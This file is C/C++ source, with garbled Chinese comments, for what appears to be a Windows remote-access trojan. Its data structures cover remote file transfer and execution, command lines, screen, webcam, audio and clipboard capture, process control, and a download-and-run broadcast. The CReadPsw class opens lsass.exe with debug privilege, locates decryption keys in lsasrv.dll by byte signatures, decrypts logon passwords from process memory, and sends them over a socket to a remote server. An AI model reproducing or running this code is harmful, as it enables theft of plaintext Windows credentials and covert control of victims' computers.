typedef struct tagSYSTEMINFO  //²Ù×÷ϵͳÐÅÏ¢
{
    char szWANIP[IPADDR_SIZE];    //¹«ÍøIPµØÖ·
    char szLocalIP[IPADDR_SIZE];  //±¾»úIPµØÖ·
    char hostName[255];   //¼ÆËã»úÃû
    bool Cam; //ÉãÏñÍ·
    int OSVer;  //²Ù×÷ϵͳ°æ±¾
    wchar_t szCPUInfo[MAX_PATH]; //cpuÐÅÏ¢
    DWORD dwDiskSize;  //Ó²ÅÌÐÅÏ¢
}SYSTEMINFO_S;

typedef struct tagDRIVER  //´ÅÅÌÐÅÏ¢
{
    wchar_t disk;    //´ÅÅÌÃû
    double dwTotal;   //´ÅÅ̵ĴóС
    double dwFree;    //Ê£Óà¿Õ¼ä
    int nType;  //ÀàÐÍ
}DRIVER_S;

typedef struct tagFILEINFO      //ÎļþÐÅÏ¢
{
    TCHAR szFileName[MAX_PATH]; //ÎļþÃû
    int nType;                  //ÎļþÀàÐÍ(Îļþ\Îļþ¼Ð)
    __int64 size;               //Îļþ´óС
}FILEINFO_S;

typedef struct tagTEMPSTRUCT  //ÔÚÎļþÏÂÔعý³ÌÖеÄÁÙʱ½á¹¹Ìå
{
    DWORD cFileInfo;      //CFileInfoÀàµÄÖ¸Õë
    SOCKET l_Socket;      //socket¶ÔÏó
    BYTE context[MAX_PATH]; //Îļþ·¾¶
}TEMPSTRUCT;

typedef struct tagDOWNFILEDATA   //Îļþ´«ÊäÊý¾Ý¿é½á¹¹
{
    BYTE context[512];  //¿éÊý¾ÝµÄ´óС
    UINT size;          //Îļþ´óС
    UINT nCount;        //´ÎÊý£¬ÓÃÓÚ½ø¶ÈÌõµÄÏÔʾ
    bool bFlag;         //ÎļþÊÇ·ñ´«ÊäÍê±Ï
}DOWNFILEDATA_S;

typedef struct tagFILEEXECINFO  //ÎļþÖ´Ðнá¹ûÐÅÏ¢
{
    wchar_t szFilePath[MAX_PATH];  //ÎļþÃû
    bool bSuccess;              //Ö´Ðнá¹û
}FILEEXECINFO_S;

typedef struct tagFILEDELSTRUCT  //Îļþ£¨¼Ð£©É¾³ý´«µÝÏ̵߳ĽṹÌå
{
    DWORD cDiskInfo;          //CDiskÀàµÄÖ¸Õë
    SOCKET l_Socket;          //socket¶ÔÏó
    FILEINFO_S tagFileInfo;  //ÎļþÀàÐͽṹÌå
}FILEDELSTRUCT_S;

typedef struct tagFILECOPY    //Îļþ¸´Öƽá¹ûÐÅÏ¢
{
    wchar_t szFilePath[MAX_PATH];  //Îļþȫ·¾¶
    wchar_t szFileName[MAX_PATH];  //ÎļþÃû
    bool bTag;                   //ÊÇ·ñ·¢ËÍÍê±Ï
}FILECOPY_S;

typedef struct tagATTRIBUTE   //ÊôÐÔ
{
    wchar_t szFilePath[MAX_PATH];  //ÎļþËùÔÚµÄĿ¼
    wchar_t szFileName[MAX_PATH];  //ÎļþÃû
    int nType;                     //Îļþ(¼Ð)ÀàÐÍ
    SYSTEMTIME sysCreateTime;      //´´½¨Ê±¼ä
    SYSTEMTIME sysModifyTime;      //ÐÞ¸Äʱ¼ä
    SYSTEMTIME sysVisitTime;       //·ÃÎÊʱ¼ä
    bool bArchive;                 //´æµµ
    bool bReadOnly;                //Ö»¶Á
    bool bHide;                    //Òþ²Ø
    bool bSystem;                  //ϵͳ
}ATTRIBUTE_S;

typedef struct tagCMD       //CMDÃüÁîÐÅÏ¢
{
    int flag;            //½á¹¹Ìå±£Áô×Ö¶Î
    char command[1024];  //ÃüÁîÐÐ
}COMMOND_S;

typedef struct tagCHATMSG   //ÁÄÌìÏûÏ¢
{
    bool bfirstSend;   //ÊÇ·ñµÚÒ»´Î·¢ËÍÐÅÏ¢
    bool bClose;  //ÊÇ·ñ¹Ø±Õ
    wchar_t szChatMsg[1024];  //ÁÄÌìÄÚÈÝ
}CHATMSG_S;

typedef struct tagPROGRESS  //½ø³ÌÁбíÐÅÏ¢
{
    wchar_t szProName[MAX_PATH];   //½ø³ÌÃû
    DWORD nPid;            //½ø³ÌIDºÅ
    int nThreadCount;    //Ïß³Ì×ÜÊý
    int nLevel;          //½ø³Ì¼¶±ð
    wchar_t szProPath[MAX_PATH];  //½ø³Ì·¾¶
    int nTag;     //½áÊøµô½ø³ÌÊDz»Êdzɹ¦ÁË(±£Áô¹Ø¼ü×Ö)
}PROGRESS_S;

typedef struct tagBMPHEADINFO  //BMPλͼͷÐÅÏ¢
{
    BITMAPINFO tagBitmapInfo;   //λͼÐÅÏ¢
}BMPHEADINFO_S;

typedef struct tagBMPDATA  //BMPͼÏñÊý¾Ý
{
    BITMAPINFO bmpinfo;  //λͼÐÅÏ¢
    int Id;
    bool bShow;  //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ
    int Size;
    int HeadSize;
    UINT Begin;
    BYTE Data[SCREEN_BUF_SIZE];   //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ64 + 4030 = 4094 < 4 * 1024
}BMPDATA_S;

typedef struct tagREADPSWDATA  //ÖØÒªµÄϵͳÕʺźÍÃÜÂë
{
    wchar_t szUserName[250];  //ÕʺÅ
    wchar_t szUserPwd[250];   //ÃÜÂë
    wchar_t szDomain[250];    //Óò
    wchar_t szErrorMsg[50];   //´íÎóÐÅÏ¢
}READPSWDATA_S;

typedef struct tagVIDEODATA  //ÊÓÆÁÊý¾Ý
{
    BITMAPINFO bmpinfo;  //λͼÐÅÏ¢
    int Id;
    bool bShow;         //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ
    DWORD Size;         //Êý¾Ý´óС 
    int HeadSize;       //ÊÓÆÁÍ·Êý¾Ý
    UINT Begin;         //µÚ¼¸´Î·¢ËÍ
    int dwExtend1;     //ѹËõÇ°³¤¶È
    int dwExtend2;     //ѹËõºó³¤¶È
    BYTE Data[VIDEO_BUF_SIZE];   //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ74 + 4020 = 4094 < 4 * 1024
}VIDEODATA_S;

typedef struct tagVIDEOTEMP
{
    DWORD cThis;
    SOCKET l_Socket;
}VIDEOTEMP_S;

typedef struct tagOPERATOR  //¹Ø»ú/×¢Ïú/ÖØÆô
{
    int nType;  //ÀàÐÍ£¨0--±íʾ¹Ø»ú£¬ 1--±íʾעÏú£¬ 2--±íʾÖØÆô£©
}OPERATOR_S;

typedef struct tagAUDIODATA  //ÓïÒôÊý¾Ý
{
    int Id;
    bool bRead;  //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý
    DWORD dwSize;  //Êý¾Ý´óС
    UINT Begin;    //µÚ¼¸´Î·¢ËÍ
    BYTE Data[AUDIO_BUF_SIZE];  //Êý¾Ý
}AUDIODATA_S;

typedef struct tagINTERNET  //ÍøÒ³
{
    bool bDownLoad;   //ÊÇ·ñÏÂÔØÎļþ
    bool bRunExe;   //ÊÇ·ñÔËÐÐÏÂÔØÎļþ
    wchar_t szWebSite[MAX_PATH];  //ÍøÒ³µÄ·¾¶
}INTERNET_S;

typedef struct tagWNDINFO  //µ¯´°ÐÅÏ¢
{
    wchar_t szTitle[MAX_PATH];  //±êÌâ
    wchar_t szContent[MAX_PATH];  //ÄÚÈÝ
    UINT nType;    //ÀàÐÍ
}WNDINFO_S;

typedef struct tagBROADCAST  //¹ã²¥ÃüÁî
{
    bool bTag;  //±êÖ¾
    INTERNET_S tagInternet;
    WNDINFO_S tagWndInfo;
}BROADCAST_S;

typedef struct tagBROADTEMP  //ÁÙʱ½á¹¹Ìå
{
    DWORD cWorkMain;
    BROADCAST_S* pTagBroadCast;
}BROADTEMP_S;

typedef struct tagDESKTOPINFO  //×ÀÃæ¹ÜÀí
{
    int nType;  //²Ù×÷ÀàÐÍ
    bool bTag;  //²Ù×÷±ê¼Ç
}DESKTOPINFO_S;

typedef struct tagCLIPBOARD
{
    int id;
    bool bRead;  //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý
    DWORD dwSize;  //Êý¾Ý´óС
    UINT Begin;    //µÚ¼¸´Î·¢ËÍ
    char Data[CLIPBOARD_BUF_SIZE];  //Êý¾Ý
}CLIPBOARD_S;
//------------------------------------------

//²Ù×÷ϵͳµÄ°æ±¾ºÅ
enum SYSVERSION
{
    OS_2000,
    OS_XP,
    OS_2003,
    OS_Vista,   //Vista°æ±¾ºÅÓë2008 serverÒ»Ñù
    OS_WIN7,
    OS_WIN8,
    OS_UNKNOWN  //δ֪²Ù×÷ϵͳ
};

//Ó²ÅÌÀàÐÍ
enum DISKTYPE
{
    DISK_FIXED,        //¹Ì¶¨Ó²ÅÌ
    DISK_REMOVABLE,    //Òƶ¯Ó²ÅÌ
    DISK_CDROM         //CD-ROM
};

//ÎļþÀàÐÍ
enum FILEATTR
{
    FILE_ATTR,    //Îļþ
    FOLDER_ATTR,   //Îļþ¼Ð
    FILE_TAG       //±ê־룬±íʾÎļþÐÅÏ¢ÒѾ­·¢ËÍÍê±Ï
};

//½ø³ÌÓÅÏȼ¶
enum PROGRESS_LEVEL
{
    UNKNOWN_LEVEL,    //δ֪
    NORMAL,           //±ê×¼
    IDLE,             //µÍ
    REALTIME,         //ʵʱ
    HIGH,             //¸ß
    ABOVENORMAL,      //¸ßÓÚ±ê×¼
    BELOWNORMAL       //µÍÓÚ±ê×¼
};

//×ÀÃæ¹ÜÀíÀàÐÍ
enum DESKTOP_TYPE
{
    MOUSE_MOVE,   //Êó±êÒƶ¯
    DESKTOP_ICON,  //×ÀÃæͼ±ê
    TASKBAR,      //ÈÎÎñ¹ÜÀí
    CLIPBOARD    //¼ôÌù°å
};

#pragma once
#include <windows.h>
#include <stdio.h>

//»ñÈ¡¼ÆËã»úϵͳÕʺš¢ÃÜÂëºÍµÇ¼Óò

#define MEM_SIZE 0x1000
#define WIN7     0x0100
#define WINXP    0x0101
#define WIN03    0x0102

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

typedef struct _SECURITY_LOGON_SESSION_DATA {
    ULONG Size;
    LUID LogonId;
    LSA_UNICODE_STRING UserName;
    LSA_UNICODE_STRING LogonDomain;
    LSA_UNICODE_STRING AuthenticationPackage;
    ULONG LogonType;  ULONG Session;
    PSID Sid;
    LARGE_INTEGER LogonTime;
    LSA_UNICODE_STRING LogonServer;
    LSA_UNICODE_STRING DnsDomainName;
    LSA_UNICODE_STRING Upn;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;


typedef int(__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLE, DWORD, PVOID, ULONG, PULONG);
typedef int(__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *);
typedef int(__stdcall * pDECRIPTFUNC)(PBYTE, DWORD);
typedef int(__stdcall * pLSAFREERETURNBUFFER)(PVOID);
typedef int(__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *);


// ½âÃܺ¯ÊýÌØÕ÷Âë(lsasrv.text)
static BYTE DecryptfuncSign[] = { 0x48, 0x83, 0xEC, 0x68, 0x4C, 0x8b, 0x15, 0xa5, 0xd6, 0x16, 0X00 };
static BYTE DecryptfuncSign2[] = { 0x8B, 0xFF, 0x55, 0x8B,
0xEC, 0x6A, 0x00, 0xFF,
0x75, 0x0C, 0xFF, 0x75,
0x08, 0xE8 };

// ÃÜÔ¿KEYÏà¹ØµÄ¹Ø¼üµØÖ·ÌØÕ÷Âë(lsasrv.text)
static BYTE DecryptKeySign_WIN7[] = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 };
static BYTE DecryptKeySign_XP[] = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 };

// ÃÜÎĹؼüÖ¸ÕëÌØÕ÷Âë(wdigest.text)
static BYTE KeyPointerSign[] = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 };

// È«¾Ö±äÁ¿
static BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200];
static BYTE Encryptdata[0x100];

class CReadPsw
{
public:
    CReadPsw(void);
    ~CReadPsw(void);
public:
    void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind);
    CString CharToCString(IN char* result);
    HANDLE GetProcessHandleByName(const TCHAR *szName);
    LPVOID GetEncryptListHead();
    void printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData,
        pLSAFREERETURNBUFFER LsaFreeReturnBuffer,
        PLUID pCurLUID,
        OUT READPSWDATA_S* tagRPWDATA);
    PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize);
    int EnableDebugPrivilege();

    void SendSecurityPwd(IN SOCKET sock);   //µÃµ½²¢·¢ËÍ»ñÈ¡µ½µÄ¹ÜÀíÔ±ÕʺźÍÃÜÂë
private:
    CModuleSocket m_moduleSocket;
};











#include <iostream>
#include "Ws2tcpip.h"


CModuleSocket::CModuleSocket(void)
{
}

CModuleSocket::~CModuleSocket(void)
{
}

UINT32 CModuleSocket::ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (NULL == pIpAddr || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }

    bool bSuccess = true;
    SOCKET socket = INVALID_SOCKET;
    try
    {
        WSADATA wsadata = { 0 };
        int iRet = WSAStartup(MAKEWORD(2, 2), &wsadata);
        if (iRet)
        {
            std::cout << "Unable to start" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        socket = ::socket(AF_INET, SOCK_STREAM, 0);
        if (INVALID_SOCKET == socket)
        {
            std::cout << "socket³õʼ»¯Ê§°Ü!" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        sockaddr_in serverAddr;
        serverAddr.sin_family = AF_INET;
        //serverAddr.sin_addr.S_un.S_addr = inet_addr(pIpAddr);
        InetPton(AF_INET, PCWSTR(pIpAddr), &serverAddr.sin_addr.S_un.S_addr);
        serverAddr.sin_port = htons(m_nPort);

        iRet = connect(socket, (sockaddr*)&serverAddr, sizeof(sockaddr_in));
        if (SOCKET_ERROR == iRet)
        {
            std::cout << "Á¬½Ó·þÎñÆ÷¶Ëʧ°Ü!" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        else
        {
            std::cout << "Á¬½Ó·þÎñÆ÷³É¹¦!" << std::endl;
            *pSocket = socket;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

UINT32 CModuleSocket::SendCommand(IN const SOCKET socket,
    IN char* szBuf,
    IN int bytes,
    OUT bool* pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (INVALID_SOCKET == socket || 0 == bytes || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }
    bool bSuccess = true;
    const char* pCurBuf = szBuf;  //µ±Ç°ÒѾ­·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý
    try
    {
        while (bytes > 0)   //ûÓз¢ËÍÍê±Ï
        {
            int nTotal = send(socket, (char*)pCurBuf, bytes, 0);
            if (SOCKET_ERROR == nTotal)  //·¢ËÍʧ°Ü
            {
                result = WSAGetLastError();
                bSuccess = false;
                throw result;
            }
            else if (0 == nTotal)  //·¢ËÍÍê±Ï
            {
                break;
            }
            bytes -= nTotal;
            pCurBuf += nTotal;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

UINT32 CModuleSocket::RecvCommand(IN const SOCKET socket, OUT char* szBuf, OUT int bytes, OUT bool *pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (INVALID_SOCKET == socket || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }
    bool bSuccess = true;
    char* pCurBuf = szBuf;  //µ±Ç°ÒѾ­·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý
    try
    {
        while (bytes > 0)   //ûÓз¢ËÍÍê±Ï
        {
            int nTotal = recv(socket, (char*)pCurBuf, bytes, 0);
            if (SOCKET_ERROR == nTotal)  //·¢ËÍʧ°Ü
            {
                result = WSAGetLastError();
                bSuccess = false;
                throw result;
            }
            else if (0 == nTotal)  //·¢ËÍÍê±Ï
            {
                break;
            }
            bytes -= nTotal;
            pCurBuf += nTotal;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

void CModuleSocket::Clean()
{
    ::WSACleanup();
}


























CReadPsw::CReadPsw(void)
{
}

CReadPsw::~CReadPsw(void)
{
}

void CReadPsw::SendSecurityPwd(IN SOCKET sock)
{
    HINSTANCE hModlsasrv;
    DWORD     LogonSessionCount, i;
    SIZE_T dwBytesRead;
    PLUID     LogonSessionList, pCurLUID, pListLUID;
    BYTE      EncryptBuf[0x200];
    HANDLE    hProcess;


    if (EnableDebugPrivilege() != 1)
        puts("EnableDebugPrivilege fail !");

    hProcess = GetProcessHandleByName(_T("lsass.exe"));
    if (hProcess == NULL)
    {
        //      puts("GetProcessHandleByName fail !") ;
        //      puts("Try To Run As Administrator ...") ;
        return;
    }

    OSVERSIONINFO VersionInformation;
    DWORD dwVerOff = 0, osKind = -1;

    // °æ±¾ÅжÏ
    memset(&VersionInformation, 0, sizeof(VersionInformation));
    VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation);
    VersionInformation.dwMajorVersion = 6;
    //GetVersionEx(&VersionInformation);
    if (VersionInformation.dwMajorVersion == 5)
    {
        if (VersionInformation.dwMinorVersion == 1)
        {
            dwVerOff = 36;
            osKind = WINXP;
        }
        else if (VersionInformation.dwMinorVersion == 2)
        {
            dwVerOff = 28;
            osKind = WIN03;
        }
    }
    else if (VersionInformation.dwMajorVersion == 6)
    {
        dwVerOff = 32;
        osKind = WIN7;
    }

    if (osKind == -1)
    {
        printf("[Undefined OS version]  Major: %d Minor: %d\n", \
            VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion);
        CloseHandle(hProcess);
        return;
    }

    // »ñµÃ½âÃܺ¯ÊýµØÖ·
    pDECRIPTFUNC  DecryptFunc;
    hModlsasrv = LoadLibrary(_T("lsasrv.dll")); //schannel.dll

    if (hModlsasrv == NULL) {
        //std::cout << "cannot locate the .dll file" << std::endl;
        wchar_t *s = NULL;
        FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL, WSAGetLastError(),
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPWSTR)&s, 0, NULL);
        fprintf(stderr, "%S\n", s);
        LocalFree(s);
        return;
    }
    else {
        std::cout << "lsasrv Library Loaded" << std::endl;
    }

    DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign));

    // »ñµÃÃÜÎÄÁ´±íÍ·µØÖ·
    LPVOID  ListHead;
    ListHead = GetEncryptListHead();

    // »ñµÃÈ«¾ÖÊý¾Ý(lsasrv.data¼°½âÃÜKEYÏà¹ØµÄÊý¾Ý)
    CopyKeyGlobalData(hProcess, hModlsasrv, osKind);

    HINSTANCE                   hModSecur32;
    pLSAENUMERATELOGONSESSIONS  LsaEnumerateLogonSessions;
    pLSAGETLOGONSESSIONDATA     LsaGetLogonSessionData;
    pLSAFREERETURNBUFFER        LsaFreeReturnBuffer;

    hModSecur32 = LoadLibrary(_T("Secur32.dll"));
    LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions");
    LsaGetLogonSessionData = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData");
    LsaFreeReturnBuffer = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer");

    LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
    MSGINFO_S tagMsgInfo;
    READPSWDATA_S tagRPWDATA;
    bool bSuccess = true;

    for (i = 0; i < LogonSessionCount; i++)  //Ñ­»·±éÀúµ±Ç°ÕʺÅÐÅÏ¢
    {
        memset(&tagMsgInfo, 0, sizeof(MSGINFO_S)); //³õʼ»¯½á¹¹ÌåÐÅÏ¢
        memset(&tagRPWDATA, 0, sizeof(READPSWDATA_S));
        tagMsgInfo.Msg_id = CMD_GETPWD;

        pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i);
        // ´òÓ¡Ïà¹ØÐÅÏ¢
        printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID, &tagRPWDATA);  //»ñÈ¡µÇ¼ÃûºÍµÇ¼Óò
                                                                                               // ±éÀúÁ´Ê½½á¹¹²éÕÒµ±Ç°µÄLUID
        ReadProcessMemory(hProcess, ListHead, EncryptBuf, 0x100, &dwBytesRead);
        while (*(DWORD *)EncryptBuf != (DWORD)ListHead)
        {
            ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead);
            pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10);
            if ((pListLUID->LowPart == pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
            {
                break;
            }
        }
        if (*(DWORD *)EncryptBuf == (DWORD)ListHead)
        {
            puts("Specific LUID NOT found\n");
            wchar_t szErrorMsg[] = _T("Specific LUID NOT found");
            wsprintfW(tagRPWDATA.szErrorMsg, szErrorMsg);   //´íÎóÐÅÏ¢
        }
        else
        {
            DWORD   pFinal = 0;
            DWORD   nBytes = 0;
            LPVOID  pEncrypt;
            pFinal = (DWORD)(pListLUID)+dwVerOff;
            nBytes = *(WORD *)((DWORD)pFinal + 2);            // ÃÜÎÄ´óС
            pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)); // ÃÜÎĵØÖ·(Remote)

            memset(Encryptdata, 0, sizeof(Encryptdata));
            ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead);

            // µ÷ÓýâÃܺ¯Êý½âÃÜ
            DecryptFunc(Encryptdata, nBytes);
            // ´òÓ¡ÃÜÂëÃ÷ÎÄ
            printf("password: %S\n\n", Encryptdata);
            wsprintfW(tagRPWDATA.szUserPwd, _T("%s"), Encryptdata);
        }
        memcpy((char*)tagMsgInfo.context, (char*)&tagRPWDATA, sizeof(READPSWDATA_S));
        m_moduleSocket.SendCommand(sock, (char*)&tagMsgInfo, sizeof(MSGINFO_S), &bSuccess);
    }

    CloseHandle(hProcess);
    LsaFreeReturnBuffer(LogonSessionList);

    FreeLibrary(hModlsasrv);
    FreeLibrary(hModSecur32);
    if (osKind == WIN7)
    {
        FreeLibrary(GetModuleHandle(_T("bcrypt.dll")));
        FreeLibrary(GetModuleHandle(_T("bcryptprimitives.dll")));
    }
}

void CReadPsw::CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
{
    PIMAGE_SECTION_HEADER pSectionHead;
    PIMAGE_DOS_HEADER     pDosHead;
    PIMAGE_NT_HEADERS     pPEHead;
    DWORD                 dwBytes;
    SIZE_T dwBytesRead;
    LPVOID                pdataAddr, pDecryptKey, DecryptKey, pEndAddr;

    pDosHead = (PIMAGE_DOS_HEADER)hModlsasrv;
    pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER));

    pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress + (DWORD)hModlsasrv);
    dwBytes = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000;
    ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead);

    pPEHead = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv);
    pEndAddr = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv);

    switch (osKind)
    {
    case WINXP:
    case WIN03:
    {
        pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \
            DecryptKeySign_XP, sizeof(DecryptKeySign_XP));

        pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey + sizeof(DecryptKeySign_XP));
        ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead);
        // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ·
        ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)pDecryptKey;
        *(DWORD *)pdataAddr = (DWORD)MemBuf;

        break;
    }
    case WIN7:
    {
        // WIN7 Ðèµ÷ÓÃÕâÁ½¸öDLLÖеĺ¯Êý½øÐнâÃÜ
        LoadLibrary(_T("bcrypt.dll"));
        LoadLibrary(_T("bcryptprimitives.dll"));

        pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \
            DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7));
        pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4));

        // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ·
        ReadProcessMemory(hProcess, pDecryptKey, &DecryptKey, 0x4, &dwBytesRead);

        ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)pDecryptKey;
        *(DWORD *)pdataAddr = (DWORD)MemBuf;

        ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)((DWORD)MemBuf + 8);
        *(DWORD *)pdataAddr = (DWORD)SecBuf;

        ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)((DWORD)MemBuf + 0xC);
        *(DWORD *)pdataAddr = (DWORD)ThirdBuf;

        break;
    }
    }
    return;
}

CString CReadPsw::CharToCString(IN char* result)
{
    //½«char ת»»Îª CString×Ö·û
    DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, result, -1, NULL, 0);
    wchar_t *pwText;
    pwText = new wchar_t[dwNum];
    if (!pwText)
    {
        delete[]pwText;
        return NULL;
    }
    MultiByteToWideChar(CP_ACP, 0, result, -1, pwText, dwNum);// ¿ªÊ¼×ª»»
    CString cstr = pwText;
    delete pwText;
    return cstr;
}

struct RTL_USER_PROCESS_PARAMETERS_I
{
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
};

struct PEB_INTERNAL
{
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    struct PEB_LDR_DATA* Ldr;
    RTL_USER_PROCESS_PARAMETERS_I* ProcessParameters;
    BYTE Reserved4[104];
    PVOID Reserved5[52];
    struct PS_POST_PROCESS_INIT_ROUTINE* PostProcessInitRoutine;
    BYTE Reserved6[128];
    PVOID Reserved7[1];
    ULONG SessionId;
};

HANDLE CReadPsw::GetProcessHandleByName(const TCHAR *szName)
{
    //
    // GetProcessHandle»ñµÃlsass.exe½ø³Ì¾ä±ú
    //
    DWORD  dwProcessId, ReturnLength, nBytes;
    PROCESS_BASIC_INFORMATION pbi;
    //smPPROCESS_BASIC_INFORMATION pbi = (smPPROCESS_BASIC_INFORMATION)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY, sizeof(smPROCESS_BASIC_INFORMATION));
    WCHAR  Buffer[MAX_PATH + 0x20];
    HANDLE hProcess;
    PWCHAR pRetStr;
    pNTQUERYPROCESSINFORMATION NtQueryInformationProcess;
    CHAR   szCurrentPath[MAX_PATH];

    NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueryInformationProcess");

    // Process ID Ò»¶¨ÊÇ 4 µÄ±¶Êý
    for (dwProcessId = 4; dwProcessId < 10 * 1000; dwProcessId += 4)
    {
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess != NULL)
        {
            if (!NtQueryInformationProcess(hProcess, 27, &Buffer, sizeof(Buffer), &ReturnLength)) //if (!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
            {
                //pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)); //32bit
                pRetStr = (PWCHAR)Buffer + 8; //64bit

                wprintf(pRetStr);
                printf("\r\n");

                nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, szCurrentPath, MAX_PATH, NULL, NULL);
                if (nBytes)
                {
                    PCHAR pCurName = &szCurrentPath[nBytes - 1];
                    while (pCurName >= szCurrentPath)
                    {
                        if (*pCurName == '\\')  break;
                        pCurName--;
                    }
                    pCurName++;
                    CString str = CharToCString(pCurName);
                    if (lstrcmpi(szName, str) == 0)
                    {
                        printf("Found Lsass, Returning\r\n");
                        return hProcess;
                    }
                }
            }
            // ¹Ø±Õ´ò¿ªµÄ¾ä±ú
            CloseHandle(hProcess);
        }
    }
    return NULL;
}

